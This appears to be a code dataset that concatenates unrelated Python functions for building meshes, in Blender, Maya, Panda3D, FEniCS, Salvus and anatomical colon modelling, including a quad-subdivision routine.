d2List, d3List, annotationArrayAround = getTeniaColi(\n region, xList, d1List, d2List, d3List, curvatureList, tcCount, elementsCountAroundTC,\n elementsCountAroundHaustrum, elementsCountAlong, elementsCountThroughWall,\n tubeTCWidthList, tcThickness, sxRefExtrudeList, annotationGroupsAround,\n closedProximalEnd)\n\n # Create flat coordinates\n xFlat, d1Flat, d2Flat = createFlatCoordinatesTeniaColi(\n xiList, relaxedLengthList, length, wallThickness, relativeThicknessList, tcCount, tcThickness,\n elementsCountAroundTC, elementsCountAroundHaustrum, elementsCountAlong,\n elementsCountThroughWall, transitElementList, closedProximalEnd)\n\n # Create colon coordinates\n xColon, d1Colon, d2Colon = createColonCoordinatesTeniaColi(xiList, relativeThicknessListColonCoordinates,\n lengthToDiameterRatio,\n wallThicknessToDiameterRatio,\n teniaColiThicknessToDiameterRatio, tcCount,\n elementsCountAroundTC,\n elementsCountAroundHaustrum,\n elementsCountAlong, elementsCountThroughWall,\n transitElementList, closedProximalEnd)\n\n # Create nodes and elements\n nextNodeIdentifier, nextElementIdentifier, annotationGroups = createNodesAndElementsTeniaColi(\n region, xList, d1List, d2List, d3List, xFlat, d1Flat, d2Flat, xColon, d1Colon, d2Colon,\n \"colon coordinates\", elementsCountAroundTC, elementsCountAroundHaustrum, elementsCountAlong,\n elementsCountThroughWall, tcCount, annotationGroupsAround, annotationGroupsAlong,\n annotationGroupsThroughWall, firstNodeIdentifier, firstElementIdentifier, useCubicHermiteThroughWall,\n useCrossDerivatives, closedProximalEnd)\n\n else:\n # Create flat coordinates\n xFlat, d1Flat, d2Flat = tubemesh.createFlatCoordinates(\n xiList, relaxedLengthList, length, wallThickness, relativeThicknessList, elementsCountAround,\n elementsCountAlong, elementsCountThroughWall, transitElementList)\n\n # Create colon coordinates\n xColon, d1Colon, d2Colon = tubemesh.createOrganCoordinates(xiList, relativeThicknessListColonCoordinates,\n lengthToDiameterRatio,\n wallThicknessToDiameterRatio,\n elementsCountAround,\n elementsCountAlong, elementsCountThroughWall,\n transitElementList)\n\n # Create nodes and elements\n nextNodeIdentifier, nextElementIdentifier, annotationGroups = tubemesh.createNodesAndElements(\n region, xList, d1List, d2List, d3List, xFlat, d1Flat, d2Flat, xColon, d1Colon, d2Colon,\n \"colon coordinates\", elementsCountAround, elementsCountAlong, elementsCountThroughWall,\n annotationGroupsAround, annotationGroupsAlong, annotationGroupsThroughWall,\n firstNodeIdentifier, firstElementIdentifier, useCubicHermiteThroughWall, useCrossDerivatives,\n closedProximalEnd)\n\n return annotationGroups","def create_mesh(self, event: str):\n\n from salvus.mesh.simple_mesh import SmoothieSEM\n\n source_info = self.comm.lasif.get_source(event_name=event)\n if isinstance(source_info, list):\n source_info = source_info[0]\n sm = SmoothieSEM()\n sm.basic.model = \"prem_ani_one_crust\"\n sm.basic.min_period_in_seconds = self.comm.project.min_period\n sm.basic.elements_per_wavelength = 1.7\n sm.basic.number_of_lateral_elements = self.comm.project.elem_per_quarter\n sm.advanced.tensor_order = 4\n if self.comm.project.ellipticity:\n sm.spherical.ellipticity = 0.0033528106647474805\n if self.comm.project.ocean_loading[\"use\"]:\n sm.ocean.bathymetry_file = self.comm.project.ocean_loading[\"file\"]\n sm.ocean.bathymetry_varname = self.comm.project.ocean_loading[\"variable\"]\n sm.ocean.ocean_layer_style = \"loading\"\n sm.ocean.ocean_layer_density = 1025.0\n if self.comm.project.topography[\"use\"]:\n sm.topography.topography_file = self.comm.project.topography[\"file\"]\n sm.topography.topography_varname = self.comm.project.topography[\"variable\"]\n sm.source.latitude = source_info[\"latitude\"]\n sm.source.longitude = source_info[\"longitude\"]\n sm.refinement.lateral_refinements.append(\n {\"theta_min\": 40.0, \"theta_max\": 140.0, \"r_min\": 6250.0}\n )\n m = sm.create_mesh()\n mesh_file = self.event_meshes / event / \"mesh.h5\"\n if not os.path.exists(os.path.dirname(mesh_file)):\n os.makedirs(os.path.dirname(mesh_file))\n m.write_h5(mesh_file)","def add_lattice(): \n # Switch in object mode\n bpy.ops.object.mode_set(mode='OBJECT') \n \n # Get the active object\n obj = bpy.context.active_object\n \n # Check if there is a lattice object\n flagLattice = False\n for o in bpy.data.objects:\n if o.type == 'LATTICE':\n flagLattice = True\n \n # Add a lattice if there is not\n if flagLattice == False:\n # Get the name of the object\n nameObject = obj.name\n \n # Add the lattice\n bpy.ops.object.add(type='LATTICE', enter_editmode=False, align='WORLD', location=(0, 0, 0), scale=(1, 1, 1))\n \n # Select the object\n bpy.context.view_layer.objects.active = bpy.data.objects[nameObject]\n bpy.data.objects[nameObject].select_set(True)\n bpy.data.objects[\"Lattice\"].select_set(False)\n \n\n\n # Add the vertices location in an array and find the max and min coordinates of the mesh\n tabVertices = []\n xPlus = float('-inf')\n xMoins = float('inf')\n yPlus = float('-inf')\n yMoins = float('inf')\n zPlus = float('-inf')\n zMoins = float('inf')\n for vertex in obj.data.vertices:\n tabVertices.append(obj.matrix_world @ vertex.co)\n if xPlus < (obj.matrix_world @ vertex.co).x:\n xPlus = (obj.matrix_world @ vertex.co).x\n elif xMoins > (obj.matrix_world @ vertex.co).x:\n xMoins = (obj.matrix_world @ vertex.co).x\n \n if yPlus < (obj.matrix_world @ vertex.co).y:\n yPlus = (obj.matrix_world @ vertex.co).y\n elif yMoins > (obj.matrix_world @ vertex.co).y:\n yMoins = (obj.matrix_world @ vertex.co).y\n \n if zPlus < (obj.matrix_world @ vertex.co).z:\n zPlus = (obj.matrix_world @ vertex.co).z\n elif zMoins > (obj.matrix_world @ vertex.co).z:\n zMoins = (obj.matrix_world @ vertex.co).z\n\n # Set the size and the location of the lattice\n bpy.data.objects[\"Lattice\"].scale = (obj.dimensions[0], obj.dimensions[1], obj.dimensions[2])\n bpy.data.objects[\"Lattice\"].location = ((xPlus+xMoins)/2, (yPlus+yMoins)/2,(zPlus+zMoins)/2)\n\n # Update the float properties of the lattice and init them\n bpy.types.Scene.lattice_size_x = bpy.props.FloatProperty(name = \"Size X\", min = 0, max = 2*obj.dimensions[0], soft_min = 0, soft_max = 2*obj.dimensions[0], step = 10, get=Get_And_Set_Lattice.get_lattice_size_x, set=Get_And_Set_Lattice.set_lattice_size_x, unit = 'LENGTH')\n bpy.types.Scene.lattice_size_y = bpy.props.FloatProperty(name = \"Size Y\", min = 0, max = 2*obj.dimensions[1], soft_min = 0, soft_max = 2*obj.dimensions[1], step = 10, get=Get_And_Set_Lattice.get_lattice_size_y, set=Get_And_Set_Lattice.set_lattice_size_y, unit = 'LENGTH')\n bpy.types.Scene.lattice_size_z = bpy.props.FloatProperty(name = \"Size Z\", min = 0, max = 2*obj.dimensions[2], soft_min = 0, soft_max = 2*obj.dimensions[2], step = 10, get=Get_And_Set_Lattice.get_lattice_size_z, set=Get_And_Set_Lattice.set_lattice_size_z, unit = 'LENGTH')\n \n bpy.context.scene.lattice_size_x = obj.dimensions[0]\n bpy.context.scene.lattice_size_y = obj.dimensions[1]\n bpy.context.scene.lattice_size_z = obj.dimensions[2]\n \n bpy.types.Scene.lattice_offset_x = bpy.props.FloatProperty(name = \"Size X\", min = -obj.dimensions[0], max = obj.dimensions[0], soft_min = -obj.dimensions[0], soft_max = obj.dimensions[0], step = 10, get=Get_And_Set_Lattice.get_lattice_offset_x, set=Get_And_Set_Lattice.set_lattice_offset_x, unit = 'LENGTH')\n bpy.types.Scene.lattice_offset_y = bpy.props.FloatProperty(name = \"Size Y\", min = -obj.dimensions[1], max = obj.dimensions[1], soft_min = -obj.dimensions[1], soft_max = obj.dimensions[1], step = 10, get=Get_And_Set_Lattice.get_lattice_offset_y, set=Get_And_Set_Lattice.set_lattice_offset_y, unit = 'LENGTH')\n bpy.types.Scene.lattice_offset_z = bpy.props.FloatProperty(name = \"Size Z\", min = -obj.dimensions[2], max = obj.dimensions[2], soft_min = -obj.dimensions[2], soft_max = obj.dimensions[2], step = 10, get=Get_And_Set_Lattice.get_lattice_offset_z, set=Get_And_Set_Lattice.set_lattice_offset_z, unit = 'LENGTH')\n \n bpy.context.scene.lattice_offset_x = 0\n bpy.context.scene.lattice_offset_y = 0\n bpy.context.scene.lattice_offset_z = 0","def generaCubo(self):\r\n #Use Panda predefined format for vertex coordinate only\r\n format = GeomVertexFormat.getV3()\r\n \r\n #Build Vertex data using the created format. Vertex will never change so I use Static attribute \r\n vdata = GeomVertexData('CuboData', format, Geom.UHStatic)\r\n \r\n #I will have to write vertex data so I create a writer for these data\r\n vertex = GeomVertexWriter(vdata, 'vertex')\r\n \r\n #I now use the writer to add vertex data\r\n vertex.addData3f(0, 0, 0)\r\n vertex.addData3f(1, 1, 1)\r\n vertex.addData3f(0, 1, 1)\r\n vertex.addData3f(0, 1, 0)\r\n vertex.addData3f(0, 0, 1)\r\n vertex.addData3f(1, 0, 0)\r\n vertex.addData3f(1, 0, 1)\r\n vertex.addData3f(1, 1, 0)\r\n \r\n #I now create 12 triangles\r\n prim = GeomTriangles(Geom.UHStatic)\r\n\r\n #and then I add vertex to them\r\n #Next time use addVertices(0,1,2) !!!\r\n prim.addVertex(7)\r\n prim.addVertex(0)\r\n prim.addVertex(5)\r\n prim.closePrimitive()\r\n \r\n prim.addVertex(3)\r\n prim.addVertex(0)\r\n prim.addVertex(7)\r\n prim.closePrimitive()\r\n \r\n prim.addVertex(2)\r\n prim.addVertex(6)\r\n prim.addVertex(4)\r\n prim.closePrimitive()\r\n\r\n prim.addVertex(1)\r\n prim.addVertex(6)\r\n prim.addVertex(2)\r\n prim.closePrimitive()\r\n\r\n prim.addVertex(7)\r\n prim.addVertex(2)\r\n prim.addVertex(3)\r\n prim.closePrimitive()\r\n\r\n prim.addVertex(1)\r\n prim.addVertex(2)\r\n prim.addVertex(7)\r\n prim.closePrimitive()\r\n\r\n prim.addVertex(3)\r\n prim.addVertex(4)\r\n prim.addVertex(0)\r\n prim.closePrimitive()\r\n\r\n prim.addVertex(2)\r\n prim.addVertex(4)\r\n prim.addVertex(3)\r\n prim.closePrimitive()\r\n\r\n prim.addVertex(0)\r\n prim.addVertex(6)\r\n prim.addVertex(5)\r\n prim.closePrimitive()\r\n\r\n prim.addVertex(4)\r\n prim.addVertex(6)\r\n prim.addVertex(0)\r\n prim.closePrimitive()\r\n\r\n prim.addVertex(5)\r\n prim.addVertex(1)\r\n prim.addVertex(7)\r\n prim.closePrimitive()\r\n\r\n prim.addVertex(6)\r\n prim.addVertex(1)\r\n prim.addVertex(5)\r\n prim.closePrimitive()\r\n\r\n #Create a Geom to bing vertex data to primitives\r\n geom = Geom(vdata)\r\n geom.addPrimitive(prim)\r\n\r\n #Create a node for the Geom in order to be able to render it\r\n node = GeomNode('gnode')\r\n node.addGeom(geom)\r\n\r\n #Adde the node to the scene graph == render it!\r\n nodePath = render.attachNewNode(node)\r\n \r\n #is this needed?\r\n nodePath.setPos( 0, 5, 0)\r\n \r\n self.camera.lookAt(nodePath)\r\n \r\n base.setBackgroundColor( .0, .0, .0 )\r\n \r\n taskMgr.add(self.SpinCameraTask, \"SpinCameraTask\")","def create_mesh_from_data(mesh_name, bsp_verts, bsp_faces, materials, scale_factor):\n\n\n def vertex_stream(vertices, stream_id):\n for vertex in vertices:\n yield vertex[stream_id]\n\n # Create mesh and object\n me = bpy.data.meshes.new(mesh_name+'Mesh')\n ob = bpy.data.objects.new(\"LEVEL\" + mesh_name, me)\n ob.show_name = True\n\n # Link object to scene\n bpy.context.scene.objects.link(ob)\n \n # Create the vertex data\n face_list = list(vertex_stream(bsp_faces, 1))\n mesh_verts = list(vertex_stream(bsp_verts, 0))\n\n me.from_pydata(mesh_verts, [], face_list)\n\n # Update mesh with new data\n me.update()\n apply_uvs(me, bsp_verts)\n\n # Add materials to mesh\n for cmaterial in materials:\n me.materials.append(cmaterial)\n\n # Apply material indexes to mesh faces\n face_materials = list(vertex_stream(bsp_faces, 0))\n\n for polygon_idx, current_polygon in enumerate(me.polygons):\n current_polygon.material_index = face_materials[polygon_idx]\n\n # Add additional properties to the new object\n ob['scale_factor'] = scale_factor\n\n return ob","def create_mesh(remote):\n cmd1 = mmapi.StoredCommands()\n key1 = cmd1.AppendSceneCommand_CreateMesh()\n remote.runCommand(cmd1)\n result_val = mmapi.any_result()\n cmd1.GetSceneCommandResult_CreateMesh(key1, result_val)\n return result_val.i","def __init__(self, parameters, mesh_name, facet_name,\n bc_dict={\"obstacle\": 2, \"channel_walls\": 1, \"inlet\": 3,\n \"outlet\": 4}):\n self.bc_dict = bc_dict\n self.mesh = df.Mesh()\n with df.XDMFFile(mesh_name) as infile:\n infile.read(self.mesh)\n\n mvc = df.MeshValueCollection(\"size_t\", self.mesh,\n self.mesh.topology().dim() - 1)\n with df.XDMFFile(facet_name) as infile:\n infile.read(mvc, \"name_to_read\")\n self.mf = mf = df.cpp.mesh.MeshFunctionSizet(self.mesh, mvc)\n\n self.V = V = df.VectorFunctionSpace(self.mesh, 'P',\n parameters[\"degree velocity\"])\n self.Q = Q = df.FunctionSpace(self.mesh, 'P',\n parameters[\"degree pressure\"])\n self.rho = df.Constant(parameters[\"density [kg/m3]\"])\n self.mu = df.Constant(parameters[\"viscosity [Pa*s]\"])\n self.dt = df.Constant(parameters[\"dt [s]\"])\n self.g = df.Constant((0, 0))\n self.vu, self.vp = df.TestFunction(V), df.TestFunction(Q)\n self.u_, self.p_ = df.Function(V), df.Function(Q)\n self.u_1, self.p_1 = df.Function(V), df.Function(Q)\n self.u_k, self.p_k = df.Function(V), df.Function(Q)\n self.u, self.p = df.TrialFunction(V), df.TrialFunction(Q) # unknown!\n\n self.U_m = U_m = parameters[\"velocity [m/s]\"]\n x = [0, .41 / 2] # center of the channel\n Ucenter = 4.*U_m*x[1]*(.41-x[1])/(.41*.41)\n U0_str = \"4.*U_m*x[1]*(.41-x[1])/(.41*.41)\"\n self.U_mean = np.mean(2 / 3 * Ucenter)\n\n U0 = df.Expression((U0_str, \"0\"), U_m=U_m, degree=2)\n bc0 = df.DirichletBC(V, df.Constant((0, 0)), mf, bc_dict[\"obstacle\"])\n bc1 = df.DirichletBC(V, df.Constant((0, 0)), mf, bc_dict[\"channel_walls\"])\n bc2 = df.DirichletBC(V, U0, mf, bc_dict[\"inlet\"])\n bc3 = df.DirichletBC(Q, df.Constant(0), mf, bc_dict[\"outlet\"])\n self.bcu = [bc0, bc1, bc2]\n self.bcp = [bc3]\n self.ds_ = df.Measure(\"ds\", domain=self.mesh, subdomain_data=mf)\n return","def subdivision(mesh):\n\t\n\t\n\t# 1. generate new nodes in the centre of quad\n\t# 1/4 o-------o 1/4 o: existing vertices\n\t# | | *: newly-generated vertices\n\t# | * |\n\t# | |\n\t# 1/4 o-------o 1/4\n\n\tnew_coor = mesh.give_nodes().give_coor()\n\t\n\tfor face_index in range(mesh.give_model_inf()[2]): \n\t\tnew_x, new_y, new_z = (0, 0, 0)\n\t\tfor vertex_index in range(4):\n\t\t\tmesh.give_faces()\n\t\t\tnode_index = mesh.give_faces().give_node_list(face_index)[vertex_index]\n\n\t\t\tnew_x += 0.25*mesh.give_nodes().give_coor(node_index)[0]\n\t\t\tnew_y += 0.25*mesh.give_nodes().give_coor(node_index)[1]\n\t\t\tnew_z += 0.25*mesh.give_nodes().give_coor(node_index)[2]\n\t\t\t\n\t\tnew_coor.append((new_x, new_y, new_z))\n\t\t\n\t# generating new nodes on the edge\n\t# figure out one edge is shared by how many surfaces\n\tedge_shared_by_faces_list = helper.find_edge_shared_by_which_faces(mesh.give_edges(), mesh.give_faces())\n\t\n\tfor edge_index in range(mesh.give_model_inf()[1]):\n\n\t\tnew_x, new_y, new_z = (0., 0., 0.)\n\t\t\n\t# 2. generate new node on boundary edge\n\t# o: existing vertices\n\t# 1/2 o---*---o 1/2 *: newly-generated vertices\n\t# \n\n\t\tnew_coor = mesh.give_nodes().give_coor()\n\t\tif len(edge_shared_by_faces_list[edge_index]) == 1:\t\n\t\t\tnew_x, new_y, new_z = (0., 0., 0.)\n\t\t\tfor vertex_index in range(2):\n\t\t\t\tthis_node = mesh.give_edges().give_node(edge_index)[vertex_index]\n\t\t\t\tnew_x += 0.5*mesh.give_nodes().give_coor()[this_node][0]\n\t\t\t\tnew_y += 0.5*mesh.give_nodes().give_coor()[this_node][1]\n\t\t\t\tnew_z += 0.5*mesh.give_nodes().give_coor()[this_node][2]\n\t\t\t\t\n\t\t\tnew_coor.append((new_x, new_y, new_z))\n\t\t\t\t\n\t# 3. generate new node on interior edge\n\t# 1/16 o-------o 1/16 o: existing vertices\n\t# | | *: newly-generated vertices\n\t# 3/8 o---*---o 3/8\n\t# | |\n\t# 1/16 o-------o 1/16\n\n\t\telse:\n\t\t\tnew_x, new_y, new_z = (0., 0., 0.)\n\t\t\tconsidered_node = []\n\t\t\tfor vertex_index in range(2):\n\t\t\t\tthis_node = mesh.give_edges().give_node(edge_index)[vertex_index]\n\t\t\t\tconsidered_node.append(this_node)\n\t\t\t\tnew_x += 3./8.*mesh.give_nodes().give_coor()[this_node][0]\n\t\t\t\tnew_y += 3./8.*mesh.give_nodes().give_coor()[this_node][1]\n\t\t\t\tnew_z += 3./8.*mesh.give_nodes().give_coor()[this_node][2]\n\t\t\t\n\t\t\t# faces contain this node\n\t\t\tpotential_node = []\n\t\t\tfor face_index in edge_shared_by_faces_list[edge_index]:\t\t\n\t\t\t\tfor vertex_index in range(4):\n\t\t\t\t\t\tpotential_node.append(mesh.give_faces().give_node_list(face_index)[vertex_index])\n\t\t\t\n\t\t\touter_node = []\n\t\t\tfor node in potential_node:\n\t\t\t\tif (node not in considered_node) & (node not in outer_node):\n\t\t\t\t\touter_node.append(node)\n\t\t\t\t\t\n\t\t\tfor vertex_index in outer_node:\n\t\t\t\tnew_x += 1./16.*mesh.give_nodes().give_coor()[vertex_index][0]\n\t\t\t\tnew_y += 1./16.*mesh.give_nodes().give_coor()[vertex_index][1]\n\t\t\t\tnew_z += 1./16.*mesh.give_nodes().give_coor()[vertex_index][2]\n\t\t\t\n\t\t\tnew_coor.append((new_x, new_y, new_z))\n\n\t# update the links of edges and surfaces\n\tnew_edge_list = []\n\tnew_face_list = []\n\tfor face_index in range(mesh.give_model_inf()[2]):\n\t\told_node0 = mesh.give_faces().give_node_list(face_index)[0]\n\t\told_node1 = mesh.give_faces().give_node_list(face_index)[1]\n\t\told_node2 = mesh.give_faces().give_node_list(face_index)[2]\n\t\told_node3 = mesh.give_faces().give_node_list(face_index)[3]\n\t\t\n\t\told_edge0 = mesh.give_faces().give_edge_list(face_index)[0]\n\t\told_edge1 = mesh.give_faces().give_edge_list(face_index)[1]\n\t\told_edge2 = mesh.give_faces().give_edge_list(face_index)[2]\n\t\told_edge3 = mesh.give_faces().give_edge_list(face_index)[3]\n\t\t\n\t\tnew_node4 = old_edge0 + mesh.give_model_inf()[0] + mesh.give_model_inf()[2] \n\t\tnew_node5 = old_edge1 + mesh.give_model_inf()[0] + mesh.give_model_inf()[2]\n\t\tnew_node6 = old_edge2 + mesh.give_model_inf()[0] + mesh.give_model_inf()[2]\n\t\tnew_node7 = old_edge3 + mesh.give_model_inf()[0] + mesh.give_model_inf()[2]\t\n\t\tnew_node8 = mesh.give_model_inf()[0] + face_index\n\t\t\n\t\tif helper.in_list((old_node0, new_node4), new_edge_list) == False: \n\t\t\tnew_edge_list.append((old_node0, new_node4))\n\t\tif helper.in_list((new_node4, new_node8), new_edge_list) == False: \n\t\t\tnew_edge_list.append((new_node4, new_node8))\n\t\tif helper.in_list((new_node8, new_node7), new_edge_list) == False: \n\t\t\tnew_edge_list.append((new_node8, new_node7))\n\t\tif helper.in_list((new_node7, old_node0), new_edge_list) == False: \n\t\t\tnew_edge_list.append((new_node7, old_node0))\n\t\tif helper.in_list((new_node4, old_node1), new_edge_list) == False: \n\t\t\tnew_edge_list.append((new_node4, old_node1))\n\t\tif helper.in_list((old_node1, new_node5), new_edge_list) == False: \n\t\t\tnew_edge_list.append((old_node1, new_node5))\n\t\tif helper.in_list((new_node5, new_node8), new_edge_list) == False: \n\t\t\tnew_edge_list.append((new_node5, new_node8))\n\t\tif helper.in_list((new_node7, old_node3), new_edge_list) == False: \n\t\t\tnew_edge_list.append((new_node7, old_node3))\n\t\tif helper.in_list((old_node3, new_node6), new_edge_list) == False: \n\t\t\tnew_edge_list.append((old_node3, new_node6))\n\t\tif helper.in_list((new_node6, new_node8), new_edge_list) == False: \n\t\t\tnew_edge_list.append((new_node6, new_node8))\n\t\tif helper.in_list((new_node6, old_node2), new_edge_list) == False: \n\t\t\tnew_edge_list.append((new_node6, old_node2))\n\t\tif helper.in_list((old_node2, new_node5), new_edge_list) == False: \n\t\t\tnew_edge_list.append((old_node2, new_node5))\n\t\n\t\tnew_face_list.append((old_node0, new_node4, new_node8, new_node7))\n\t\tnew_face_list.append((new_node4, old_node1, new_node5, new_node8))\n\t\tnew_face_list.append((new_node7, new_node8, new_node6, old_node3))\n\t\tnew_face_list.append((new_node8, new_node5, old_node2, new_node6))\n\t\t\n\tnew_edges = geo.Edge(new_edge_list)\n\t\n\tnew_faces = geo.Face(new_face_list, new_edges)\n\t\t\n\t# update existing nodes\t\n\tfor node_index in range(mesh.give_model_inf()[0]):\n\t\t\n\t\tring1, ring2 = helper.find_neighbour_node(new_edges, new_faces, node_index)\n\t\tvalence = helper.find_valence(node_index, new_faces) \n\t\t#: valence: the number of faces sharing on specific edge\n\n\t# 4. update existing corner vertex\n\t# 2/4 @---* 1/4 *: newly-generated vertices\n\t# | | @: existing vertices to be updated\n\t# 1/4 *---* 0 The higher mask values on neighbouring vertices, \n\t# the more likely a square mesh will be refined into a sphere.\n\t \n\t\tif valence == 1:\n\n\t\t\tnew_x, new_y, new_z = (0, 0, 0)\n\t\t\tprint\n\t\t\tfor node_in_ring1 in ring1:\n\t\t\t\tnew_x += 1./4.*mesh.give_nodes().give_coor()[node_in_ring1][0]\n\t\t\t\tnew_y += 1./4.*mesh.give_nodes().give_coor()[node_in_ring1][1]\n\t\t\t\tnew_z += 1./4.*mesh.give_nodes().give_coor()[node_in_ring1][2]\n\n\t\t\tfor node_in_ring2 in ring2:\n\t\t\t\tnew_x += 0.*mesh.give_nodes().give_coor()[node_in_ring2][0]\n\t\t\t\tnew_y += 0.*mesh.give_nodes().give_coor()[node_in_ring2][1]\n\t\t\t\tnew_z += 0.*mesh.give_nodes().give_coor()[node_in_ring2][2]\n\t\t\t\t\n\t\t\tnew_x += 2./4.*mesh.give_nodes().give_coor()[node_index][0]\n\t\t\tnew_y += 2./4.*mesh.give_nodes().give_coor()[node_index][1]\n\t\t\tnew_z += 2./4.*mesh.give_nodes().give_coor()[node_index][2]\n\n\t# 5. update existing boundary joint vertex\n\t# 3/4\n\t# 1/8 *---*---* 1/8 *: newly-generated vertices\n\t# | | | @: existing vertices to be updated\n\t# 0 *---*---* 0\n\n\t\telif valence == 2:\n\t\t\t\n\t\t\tnew_x, new_y, new_z = (0, 0, 0)\n\t\t\tfor node_in_ring1 in ring1:\n\t\t\t\tif helper.find_valence(node_in_ring1, new_faces) <= 2: \n\t\t\t\t\tnew_x += 1./8.*mesh.give_nodes().give_coor()[node_in_ring1][0]\n\t\t\t\t\tnew_y += 1./8.*mesh.give_nodes().give_coor()[node_in_ring1][1]\n\t\t\t\t\tnew_z += 1./8.*mesh.give_nodes().give_coor()[node_in_ring1][2]\n\t\t\t\t\t\n\t\t\tnew_x += 3./4.*mesh.give_nodes().give_coor()[node_index][0]\n\t\t\tnew_y += 3./4.*mesh.give_nodes().give_coor()[node_index][1]\n\t\t\tnew_z += 3./4.*mesh.give_nodes().give_coor()[node_index][2]\n\t\n\t# 6. update new node on interior edge\n\t# * r/k\n\t# /\\ b/k*\n\t# *__/ \\___ r/k\n\t# \\ \\ /¬¬/ *: newly-generated vertices: \n\t# \\ \\/ / b = 3/2/valence, r = 1/4/valence\n\t# *--@--* b/k\t @: existing vertices to be updated: 1-b-r\t\t\n\t# / /\\ \\\n\t# /__/ \\__\\\n\t# * \\ / * r/k\n\t# \\/\n\t\t\n\t\telse:\n\t\t\tnew_x, new_y, new_z = (0, 0, 0)\n\t\t\tbeta = 3./2./valence\n\t\t\tgamma = 1./4./valence\n\t\t\tfor node_in_ring1 in ring1:\n\t\t\t\tnew_x += beta/valence*mesh.give_nodes().give_coor()[node_in_ring1][0]\n\t\t\t\tnew_y += beta/valence*mesh.give_nodes().give_coor()[node_in_ring1][1]\n\t\t\t\tnew_z += beta/valence*mesh.give_nodes().give_coor()[node_in_ring1][2]\n\t\t\t\n\t\t\tfor node_in_ring2 in ring2:\n\t\t\t\tnew_x += gamma/valence*mesh.give_nodes().give_coor()[node_in_ring2][0]\n\t\t\t\tnew_y += gamma/valence*mesh.give_nodes().give_coor()[node_in_ring2][1]\n\t\t\t\tnew_z += gamma/valence*mesh.give_nodes().give_coor()[node_in_ring2][2]\n\t\t\t\n\t\t\tnew_x += (1. - beta - gamma)*mesh.give_nodes().give_coor()[node_index][0]\n\t\t\tnew_y += (1. - beta - gamma)*mesh.give_nodes().give_coor()[node_index][1]\n\t\t\tnew_z += (1. - beta - gamma)*mesh.give_nodes().give_coor()[node_index][2]\n\t\t\n\t\tnew_coor[node_index] = (new_x, new_y, new_z)\n\t\n\tnew_nodes = geo.Node(new_coor)\n\t\n\tmesh.update(new_nodes, new_edges, new_faces)\n\t\n\t# return new_mesh\n\treturn mesh","def create_partition(mesh,polygons,enforce_exact=False):","def create_simpleLoftMesh(self, form = 2, degree=None, uSplit = None,vSplit=None,cap=True,uniform = False,skip=[],\n reverseNormal = None,deleteHistory = True,divisions=None, loftMode = None,flipUV = False):\n _str_func = 'create_simpleLoftMesh'\n log.debug(\"|{0}| >> \".format(_str_func)+ '-'*80)\n log.debug(\"{0}\".format(self))\n \n if self.getMayaAttr('isBlockFrame'):\n log.debug(cgmGEN.logString_sub(_str_func,'blockFrame bypass'))\n return \n\n mBlockModule = self.p_blockModule\n\n ml_delete = []\n ml_formHandles = self.msgList_get('formHandles')\n ml_loftCurves = []\n \n if degree == None:\n degree = 1 + self.loftDegree\n if degree ==1:\n form = 3\n if vSplit == None:\n vSplit = self.loftSplit#-1\n if uSplit == None:\n uSplit = self.loftSides\n \n \n log.debug(cgmGEN.logString_sub(_str_func,\"Gather loft curves\"))\n for i,mHandle in enumerate(ml_formHandles):\n if skip and i in skip:\n continue\n if mHandle.getMessage('loftCurve'):\n ml_loftCurves.append(mHandle.getMessage('loftCurve',asMeta=1)[0])\n ml_subShapers = mHandle.msgList_get('subShapers')\n if ml_subShapers:\n for mSub in ml_subShapers:\n if mSub.getMessage('loftCurve'):\n ml_loftCurves.append(mSub.getMessage('loftCurve',asMeta=1)[0])\n \n if ml_formHandles[-1].getMessage('pivotHelper') and self.blockProfile not in ['arm']:\n mPivotHelper = ml_formHandles[-1].pivotHelper\n log.debug(\"|{0}| >> pivot helper found \".format(_str_func))\n \n #make the foot geo.... \n mBaseCrv = mPivotHelper.doDuplicate(po=False)\n mBaseCrv.parent = False\n mShape2 = False\n ml_delete.append(mBaseCrv)\n \n mTopLoft = mPivotHelper.getMessageAsMeta('topLoft')\n if mTopLoft:\n mShape2 = mTopLoft.doDuplicate(po=False) \n ml_loftCurves.append(mShape2)\n ml_delete.append(mShape2)\n \"\"\"\n for mChild in mBaseCrv.getChildren(asMeta=True):\n if mChild.cgmName == 'topLoft':\n mShape2 = mChild.doDuplicate(po=False)\n mShape2.parent = False\n ml_loftCurves.append(mShape2)\n ml_delete.append(mShape2) \n mChild.delete()\"\"\"\n ml_loftCurves.append(mBaseCrv)\n \n \"\"\"\n if cap:\n log.debug(cgmGEN.logString_sub(_str_func,\"cap\")) \n ml_use = copy.copy(ml_loftCurves)\n for i,mLoft in enumerate([ml_loftCurves[0],ml_loftCurves[-1]]):\n log.debug(cgmGEN.logString_msg(_str_func,\"duping: {0}\".format(mLoft.mNode)))\n \n mStartCollapse = mLoft.doDuplicate(po=False)\n mStartCollapse.p_parent = False\n mStartCollapse.scale = [.0001 for i in range(3)]\n if mLoft == ml_loftCurves[0]:\n ml_use.insert(0,mStartCollapse)\n else:\n ml_use.append(mStartCollapse)\n ml_delete.append(mStartCollapse)\n ml_loftCurves = ml_use\"\"\"\n \n log.debug(cgmGEN.logString_sub(_str_func,\"Build\"))\n #pprint.pprint(vars())\n \n _d = {'uSplit':uSplit,\n 'vSplit':vSplit,\n 'cap' : cap,\n 'form':form,\n 'uniform':uniform,\n 'deleteHistory':deleteHistory,\n 'merge':deleteHistory,\n 'reverseNormal':reverseNormal,\n 'degree':degree}\n \n if loftMode:\n if loftMode in ['evenCubic','evenLinear']:\n d_tess = {'format':2,#General\n 'polygonType':1,#'quads',\n 'vType':3,\n 'uType':1,\n 'vNumber':1}\n _d['d_tess'] = d_tess\n if loftMode == 'evenCubic':\n _d['degree'] = 3\n _d['uniform'] = True\n d_tess['uNumber'] = (4 + vSplit + (len(ml_loftCurves)) * vSplit)*2\n #..attempting to fix inconsistency in which is u and which is v\n #d_tess['vNumber'] = d_tess['uNumber']\n #d_tess['vType'] = 1\n else:\n _d['degree'] = 1\n d_tess['uNumber'] = (vSplit + (len(ml_loftCurves)) * vSplit)\n \n if flipUV:\n log.warning(cgmGEN.logString_msg(_str_func,\"FLIPPING UV\"))\n \"\"\"\n dTmp = {}\n for i,k in enumerate(['u','v']):\n for k2 in 'Type','Number':\n if i:\n dTmp['u'+k2] = d_tess['v'+k2]\n else:\n dTmp['v'+k2] = d_tess['u'+k2]\n d_tess.update(dTmp)\"\"\"\n \n \n elif loftMode == 'default':\n pass\n \n\n #pprint.pprint(vars())\n \n _mesh = BUILDUTILS.create_loftMesh([mCrv.mNode for mCrv in ml_loftCurves],\n **_d)\n \n \"\"\"\n if form in [1,2]:\n mc.polyNormal(_mesh,nm=0) \n if form == 3 and degree 